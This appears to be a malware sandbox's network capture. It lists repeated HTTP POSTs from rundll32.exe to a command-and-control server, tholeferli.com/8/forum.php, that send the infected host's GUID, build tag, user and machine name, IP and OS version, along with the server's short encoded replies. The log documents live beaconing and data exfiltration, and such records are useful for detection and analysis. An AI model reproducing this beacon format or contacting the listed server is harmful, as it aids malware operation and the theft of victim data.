Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.22	49316	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:18.980448008 CEST	462	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:19.136413097 CEST	463	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 42 59 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZBYAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.22	49182	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:09.646503925 CEST	312	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:09.817370892 CEST	312	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 5a 41 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTZAGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.22	49317	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:19.737467051 CEST	463	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:19.904759884 CEST	464	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 5a 41 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHZASARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.22	49318	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:20.199851990 CEST	465	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:20.367650032 CEST	465	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 46 55 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZFUAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.22	49319	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:20.678678036 CEST	466	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:20.848067045 CEST	466	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 41 5a 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAAZZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.22	49320	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:21.566584110 CEST	467	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:21.733494997 CEST	467	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4e 4d 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBNMYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.22	49321	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:22.008101940 CEST	468	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:23.167417049 CEST	468	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 4b 50 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJKPQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
155	192.168.2.22	49322	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:23.446151018 CEST	469	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:23.613425970 CEST	469	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4b 50 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTKPGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
156	192.168.2.22	49323	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:23.913350105 CEST	470	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:24.082932949 CEST	470	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 43 58 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGCXTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.22	49324	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:24.359683037 CEST	471	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:24.515281916 CEST	472	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 51 4a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZQJAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.22	49325	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:24.782763958 CEST	472	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:24.938327074 CEST	473	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 5a 41 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGZATARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.22	49326	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:25.219157934 CEST	473	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:25.374665976 CEST	474	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 51 4a 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNQJMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.22	49183	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:10.107105017 CEST	313	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:10.265167952 CEST	313	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 48 53 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQHSJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.22	49327	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:25.640275955 CEST	475	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:25.797365904 CEST	475	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 46 55 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBFUYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.22	49328	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:26.086143970 CEST	476	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:26.256982088 CEST	476	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 54 47 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCTGXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.22	49329	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:26.538968086 CEST	477	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:26.707770109 CEST	477	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 42 59 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKBYPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.22	49330	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:26.988025904 CEST	478	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:27.143672943 CEST	478	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 4e 4d 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTNMGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.22	49331	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:27.421057940 CEST	479	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:27.577605009 CEST	479	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 56 45 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKVEPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.22	49332	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:27.869748116 CEST	480	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
